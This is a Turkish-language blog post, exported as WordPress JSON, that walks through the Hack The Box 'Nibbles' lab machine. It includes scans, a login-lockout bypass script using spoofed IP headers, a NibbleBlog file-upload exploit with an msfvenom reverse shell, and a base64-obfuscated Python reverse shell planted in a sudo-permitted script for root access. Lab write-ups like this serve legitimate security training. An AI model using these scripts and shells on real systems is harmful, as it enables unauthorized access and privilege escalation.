{"id":1638,"date":"2021-11-15T21:14:59","date_gmt":"2021-11-15T21:14:59","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1638"},"modified":"2021-11-15T21:14:59","modified_gmt":"2021-11-15T21:14:59","slug":"nibbles","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/11\/15\/nibbles\/","title":{"rendered":"Nibbles"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Nibbles<\/a> – HTB<\/td>\nEasy<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

Uzun zamand\u0131r makine \u00e7\u00f6z\u00fcm\u00fc yapm\u0131yordum asl\u0131nda bu makineyi daha \u00f6nceden \u00e7\u00f6zd\u00fcm ancak OSCP ayar\u0131nda hack the box’da \u00e7\u00f6zmedi\u011fim kaine kalmad\u0131. \u0130\u015f de\u011fi\u015ftirme yeni konular derken OSCP’yi ihmal ettim ve tekrardan \u00e7\u00f6zmeye ba\u015flad\u0131m. Bu iyi bir pratik oluyor. \u015eimdi ba\u015flayal\u0131m.<\/p>\n

nmap taramas\u0131<\/p>\n

\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nmap -p- -A -T4 10.10.10.75\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-11-15 14:45 EST\nNmap scan report for 10.10.10.75 (10.10.10.75)\nHost is up (0.082s latency).\nNot shown: 65533 closed ports\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)\n|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)\n|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n|_http-title: Site doesn't have a title (text\/html).\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.91%E=4%D=11\/15%OT=22%CT=1%CU=39521%PV=Y%DS=2%DC=T%G=Y%TM=6192B9\nOS:19%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)OP\nOS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST\nOS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC\nOS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=\nOS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(\nOS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%\nOS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N\nOS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C\nOS:D=S)\n\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 3389\/tcp)\nHOP RTT      ADDRESS\n1   70.31 ms 10.10.14.1 (10.10.14.1)\n2   69.04 ms 10.10.10.75 (10.10.10.75)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 85.31 seconds<\/code><\/pre>\n
\u0130nternet sitesine gitti\u011fimde yorum sat\u0131rlar\u0131nda nibbleblog<\/strong> linki mevcuttu bende hemen gobuster ba\u015flatt\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# gobuster dir --add-slash --expanded --follow-redirect --url http:\/\/10.10.10.75\/nibbleblog --no-error -t 50 -x php,txt,html --wordlist \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt | tee 10.10.10.75\/gobuster1\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/10.10.10.75\/nibbleblog\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              php,txt,html\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/11\/15 14:59:10 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/10.10.10.75\/nibbleblog\/sitemap.php          (Status: 200) [Size: 402]\nhttp:\/\/10.10.10.75\/nibbleblog\/index.php            (Status: 200) [Size: 2987]\nhttp:\/\/10.10.10.75\/nibbleblog\/content\/             (Status: 200) [Size: 1353]\nhttp:\/\/10.10.10.75\/nibbleblog\/themes\/              (Status: 200) [Size: 1741]\nhttp:\/\/10.10.10.75\/nibbleblog\/feed.php             (Status: 200) [Size: 302] \nhttp:\/\/10.10.10.75\/nibbleblog\/admin.php            (Status: 200) [Size: 1401]\nhttp:\/\/10.10.10.75\/nibbleblog\/admin\/               (Status: 200) [Size: 2127]\nhttp:\/\/10.10.10.75\/nibbleblog\/plugins\/             (Status: 200) [Size: 3777]\nhttp:\/\/10.10.10.75\/nibbleblog\/install.php          (Status: 200) [Size: 78]  \nhttp:\/\/10.10.10.75\/nibbleblog\/update.php           (Status: 200) [Size: 1622]\nhttp:\/\/10.10.10.75\/nibbleblog\/languages\/           (Status: 200) [Size: 3167]\nhttp:\/\/10.10.10.75\/nibbleblog\/LICENSE.txt          (Status: 200) [Size: 35148]\nhttp:\/\/10.10.10.75\/nibbleblog\/COPYRIGHT.txt        (Status: 200) [Size: 1272] \n\n===============================================================\n2021\/11\/15 15:23:08 Finished\n===============================================================\n<\/code><\/pre>\n
Sayfan\u0131n admin panelini bulduk ancak 5 denemeden sonra block yiyoruz. Bende bunu bypass etmeyi denedim. A\u015fa\u011f\u0131daki python kodunu yazd\u0131m istekleri burp’e y\u00f6nlendirdim ve daha sornas\u0131nda 30* ile y\u00f6nelndirme alan isteklere bakt\u0131m. Bunun i\u00e7in \u00e7e\u015fitli wordlistler kulland\u0131m ancak en sonunda cewl kulland\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75]\n\u2514\u2500# cewl http:\/\/10.10.10.75\/nibbleblog\/ -d 3 --lowercase --with-numbers -w wordlist\nCeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75]\n\u2514\u2500# cat bypass.py                                                                  \nimport requests\nurl = "http:\/\/10.10.10.75\/nibbleblog\/admin.php"\nhttp_proxy  = "http:\/\/127.0.0.1:8081"\nproxyDict = {"http"  : http_proxy}\n\nwordlist_file = open("wordlist")\nwordlist = wordlist_file.read().split("\\n")\nwordlist_file.close()\n\ndef random_ip():\n        return '{}.{}.{}.{}'.format(*__import__('random').sample(range(0,255),4))\n\ndef headers_list(i):\n        ip = random_ip()\n        return {"X-Originating-IP":ip, "X-Forwarded-For":ip, "X-Remote-IP":ip, "X-Remote-Addr":ip}\n\nfor i in wordlist:\n        payload = {'username': 'admin', 'password':i}\n        r=requests.post(url, headers=headers_list(1), data = payload, proxies=proxyDict)\n        #print(i,"==>",len(r.text))\n\nprint("Check Burp")<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75]\n\u2514\u2500# python3 bypass.py\nCheck Burp\n<\/code><\/pre>\n
Credential:<\/p>\n
admin:nibbles<\/code><\/pre>\n
\u0130nternette ara\u015ft\u0131rma yapt\u0131ktan sonra file upload zafiyeti oldu\u011funu g\u00f6rd\u00fcm.  https:\/\/raw.githubusercontent.com\/TheRealHetfield\/exploits\/master\/nibbleBlog_fileUpload.py<\/a> bu proje ile shell elde ettim. Script’in d\u00fczenlenmi\u015f hali a\u015fa\u011f\u0131dad\u0131r.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75\/exp]\n\u2514\u2500# cat nibbleBlog_fileUpload.py \n#!\/usr\/bin\/python\n#\n# Your PHP Payload goes into local file nibble.txt\n# msfvenom -p php\/reverse_perl --format raw -o nibble.txt LHOST=ATTACKER LPORT=ATTACKER\n#\n# Loosely ported from the NibbleBlog File Upload MSF Module\n#\n# Twitter: @a7kemc73\n#\nimport requests\n\nDEBUG=1\n\nnibbleUsername = "admin"\nnibblePassword = "nibbles"\n\nnibbleURL = "http:\/\/10.10.10.75\/nibbleblog\/"\nloginURL = nibbleURL + "admin.php"\nuploadURL = nibbleURL + "admin.php?controller=plugins&action=config&plugin=my_image"\nexploitURL = nibbleURL + "content\/private\/plugins\/my_image\/image.php"\n\nbody='<?php echo "He4dTr1p is pwning...<br>";'\nwith open('nibble.txt', 'r') as payload:\n        body=body + payload.read()\nbody=body + 'echo "Check for shell!"; ?>'\n\nwith requests.Session() as web:\n        # Getting login session and cookies\n        loginGetResp = web.get(loginURL)\n        loginPostResp = web.post(loginURL, data={'username':nibbleUsername,'password':nibblePassword})\n\n        if DEBUG > 0:\n                print '[-] LOGIN RESPONSE: ' + str(loginPostResp.status_code) + " " + str(loginPostResp.reason)\n        if DEBUG > 1:\n                print '\\n' + loginPostResp.text\n\n        if 'Incorrect username or password.' in loginPostResp.text:\n                print '[!] Login Failed.'\n        else:\n                # Performing File Upload\n                print '[+] Login Successful.'\n                uploadPostResp = web.post(uploadURL, data={'plugin':'my_image','title':'My image','position':'4','caption':'He4dTr1p','image_resize':'1','image_width':'230','image_height':'200','image_option':'auto'}, files={'image': ('nibbles.php', body, 'application\/x-php')}, timeout=30)\n\n                if DEBUG > 0:\n                        if '<b>Warning<\/b>' in uploadPostResp.text:\n                                print '[-] Upload likely successful.'\n                        else:\n                                print '[-] Upload likely failed.'\n\n                if DEBUG > 0:\n                        print '[-] UPLOAD RESPONSE: ' + str(uploadPostResp.status_code) + ' ' + str(uploadPostResp.reason)\n                if DEBUG > 1:\n                        print '\\n' + uploadPostResp.text\n\n                # Executing Upload\n                exploitResp = web.get(exploitURL)\n\n                if exploitResp.status_code == 200:\n                        print '[+] Exploit launched, check for shell.'\n                else:\n                        print '[!] Exploit failed.'\n\n                if DEBUG > 0:\n                        print '[-] EXPLOIT RESPONSE: ' + str(exploitResp.status_code) + ' ' + str(exploitResp.reason)\n                if DEBUG > 1:\n                        print '\\n' + exploitResp.text\n<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75\/exp]                                                                                                                                                                                                                                                                                          \n\u2514\u2500#  msfvenom -p php\/reverse_perl --format raw -o nibble.txt LHOST=10.10.14.11 LPORT=4444                                                               130 \u2a2f                                                                                                                                                                \n[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload                                                                                                                                                                                                                                           \n[-] No arch selected, selecting arch: php from the payload                                                                                                                                                                                                                                                                   \nNo encoder specified, outputting raw payload                                                                                                                                                                                                                                                                                 \nPayload size: 1998 bytes                                                                                                                                                                                                                                                                                                     \nSaved as: nibble.txt       <\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75\/exp]                                                                                                                                                                                                                                                                                          \n\u2514\u2500# python nibbleBlog_fileUpload.py                                                                                                                                                                                                                                                                                          \n[-] LOGIN RESPONSE: 200 OK                                                                                                                                                                                                                                                                                                   \n[+] Login Successful.                                                                                                                                                                                                                                                                                                        \n[-] Upload likely successful.                                                  \n[-] UPLOAD RESPONSE: 200 OK                                                    \n[+] Exploit launched, check for shell.                                         \n[-] EXPLOIT RESPONSE: 200 OK    <\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.75\/exp]\n\u2514\u2500# nc -lvp 4444                                                                                                                                        130 \u2a2f\nlistening on [any] 4444 ...\nconnect to [10.10.14.11] from 10.10.10.75 [10.10.10.75] 55526\nid\nuid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)\nwhich python3\n\/usr\/bin\/python3<\/code><\/pre>\n
\nnibbler@Nibbles:\/home\/nibbler$ ls\nls\ntotal 20\ndrwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .\ndrwxr-xr-x 3 root    root    4096 Dec 10  2017 ..\n-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history\ndrwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano\n-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip\n-r-------- 1 nibbler nibbler   33 Nov 15 14:43 user.txt\nnibbler@Nibbles:\/home\/nibbler$ cat user.txt\ncat user.txt\nba316043b67883782a0264978d11707d<\/code><\/pre>\n
Enterasan bir \u015fey buldum.<\/p>\n
\n[!] sud010 Can we list sudo commands without a password?................... yes!\n---\nMatching Defaults entries for nibbler on Nibbles:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser nibbler may run the following commands on Nibbles:\n    (root) NOPASSWD: \/home\/nibbler\/personal\/stuff\/monitor.sh\n---<\/code><\/pre>\n
\nnibbler@Nibbles:\/tmp$ sudo -l                                                                                                                                 \nsudo -l                                                                                                                                                       \nMatching Defaults entries for nibbler on Nibbles:                                                                                                             \n    env_reset, mail_badpass,                                                                                                                                  \n    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin                                                                  \n\nUser nibbler may run the following commands on Nibbles:                                                                                                       \n    (root) NOPASSWD: \/home\/nibbler\/personal\/stuff\/monitor.sh                                                                                                  \nnibbler@Nibbles:\/tmp$                                                                                                                                         \n\nnibbler@Nibbles:\/tmp$                                                                                                                                         \n\nnibbler@Nibbles:\/tmp$                                                                                                                                         \n\nnibbler@Nibbles:\/tmp$ cat \/home\/nibbler\/personal\/stuff\/monitor.sh                                                                                             \ncat \/home\/nibbler\/personal\/stuff\/monitor.sh                                                                                                                   \ncat: \/home\/nibbler\/personal\/stuff\/monitor.sh: No such file or directory\n\nnibbler@Nibbles:\/home\/nibbler\/personal\/stuff$ echo 'echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX\n1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMTEiLDQyNDIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9\niaW4vc2giKScK | base64 -d | bash' > monitor.sh                                 \n<xlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | bash' > monitor.sh                                                                                  \nnibbler@Nibbles:\/home\/nibbler\/personal\/stuff$                                  \n\nnibbler@Nibbles:\/home\/nibbler\/personal\/stuff$ cat monitor.sh                                                                                                  \ncat monitor.sh                                                                 \necho cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMTEiLDQyNDIpK\nTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScK | base64 -d | bash\nnibbler@Nibbles:\/home\/nibbler\/personal\/stuff$                                  \n\nnibbler@Nibbles:\/home\/nibbler\/personal\/stuff$ sudo -l                                                                                                         \nsudo -l                                                                        \nMatching Defaults entries for nibbler on Nibbles:                                                                                                             \n    env_reset, mail_badpass,                                                   \n    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser nibbler may run the following commands on Nibbles:                                                                                                       \n    (root) NOPASSWD: \/home\/nibbler\/personal\/stuff\/monitor.sh                                                                                                  \nnibbler@Nibbles:\/home\/nibbler\/personal\/stuff$ sudo -u root \/home\/nibbler\/personal\/stuff\/monitor.sh\n<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nc -lvp 4242      \nlistening on [any] 4242 ...\nid\nconnect to [10.10.14.11] from 10.10.10.75 [10.10.10.75] 41028\n# id\nuid=0(root) gid=0(root) groups=0(root)\n# cd \/root \ncd \/root\n# ls\nls\nroot.txt\n# cat root.txt\ncat root.txt\nfe90c027799eb2048ee7701a020e255f<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Nibbles – HTB Easy Linux Walkthrough Uzun zamand\u0131r makine \u00e7\u00f6z\u00fcm\u00fc yapm\u0131yordum asl\u0131nda bu makineyi daha \u00f6nceden \u00e7\u00f6zd\u00fcm ancak OSCP ayar\u0131nda…<\/p>\n
Devam\u0131n\u0131 okuNibbles<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1638","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1638"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1638\/revisions"}],"predecessor-version":[{"id":1639,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1638\/revisions\/1639"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}